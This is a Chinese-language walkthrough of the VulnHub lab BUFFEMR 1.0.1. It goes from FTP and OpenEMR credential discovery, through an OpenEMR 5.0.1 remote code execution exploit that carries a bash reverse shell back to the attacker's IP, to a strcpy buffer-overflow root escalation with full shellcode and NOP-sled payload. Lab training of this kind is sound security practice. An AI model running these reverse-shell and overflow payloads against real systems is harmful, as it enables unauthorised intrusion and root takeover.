vulnhub 靶场 BUFFEMR: 1.0.1
前期准备:
靶机地址:https://www.vulnhub.com/entry/buffemr-101,717/
kali攻击机ip:192.168.11.129
靶机ip:192.168.11.135
一、信息收集
1.使用nmap对目标靶机进行扫描
发现开放了 21、22 和 80 端口。
2. 21端口
匿名登录 ftp:
发现 share 文件夹,查看一下:
发现是 openemr 的源码,里面肯定藏有密码什么的,推测 80 端口上的应该是 openemr 的网站,我先把整个目录都下载下来了:
wget -r -np -nH ftp://192.168.11.135/share/openemr/
2. 80端口
查看源码也没发现什么,试着访问一下 /openemr:
发现了登录界面,需要密码,应该在 ftp 的文件中
直接搜的admin,验证后是 admin:Monster123,登录进系统:
二、漏洞利用
查看一下版本:
发现是 v5.0.1 ,找一下相关漏洞:
有一个远程代码执行,查看一下利用方式:
尝试利用:
python 45161.py http://192.168.11.135/openemr -u admin -p Monster123 -c 'bash -i >& /dev/tcp/192.168.11.129/1234 0>&1'
查看一下文件:
发现没有权限访问 buffemr 家目录,不过在 /var 下发现个 user.zip 压缩包,传到kali上爆破一下:
python -m SimpleHTTPServer 8009
wget http://192.168.11.135:8009/user.zip
解压时发现需要密码,爆破了很久都没爆破出来,一开始以为这个压缩包没用,后来想着密码应该在 ftp 的哪些文件中,找了很久,直接找文件名为 key 的文件
密码是:c2FuM25jcnlwdDNkCg==,解压 user.txt 压缩包:
发现了 buffemr 用户的密码:Iamgr00t, ssh 登录:
查看文件,发现一个 flag:
三、缓冲区溢出提权
查看权限和 SUID 二进制文件:
发现 /opt/dontexecute 文件比较可疑,查看一下:
发现这个二进制文件使用了一个名为 "strcpy" 的函数。strcpy() 函数没有指定目标数组的大小,会导致缓冲区溢出。可以尝试溢出缓冲区来运行 shell 代码获取 root 权限,先看一下 ASLR 禁用了没有:
发现禁用了,gdb 运行:
gdb -q dontexecute
然后用 metasploit 中的 pattern_create.rb 生成数量 1000 的字符串用来计算偏移量:
将生成的字符串用命令 r 在 gdb 中运行二进制文件:
程序运行崩溃,计算一下偏移量:
./pattern_offset.rb -q 0x31724130
计算出偏移量是 512,查看ESP寄存器的值:
x/300wx $esp
用esp 寄存器的 0xffffd6a0 替换 4 个 B,因为是小字节序,倒过来写,构造 payload:
先找个 shell:
\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh
我的 shell 是 53 字节:
NOP:512 - 53 = 459。
所以 payload:
$(python -c 'print "\x90" * 459 + "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" + "\xa0\xd6\xff\xff"')
没有提权成功,在外面运行一下:
获得 root 权限,查看 flag: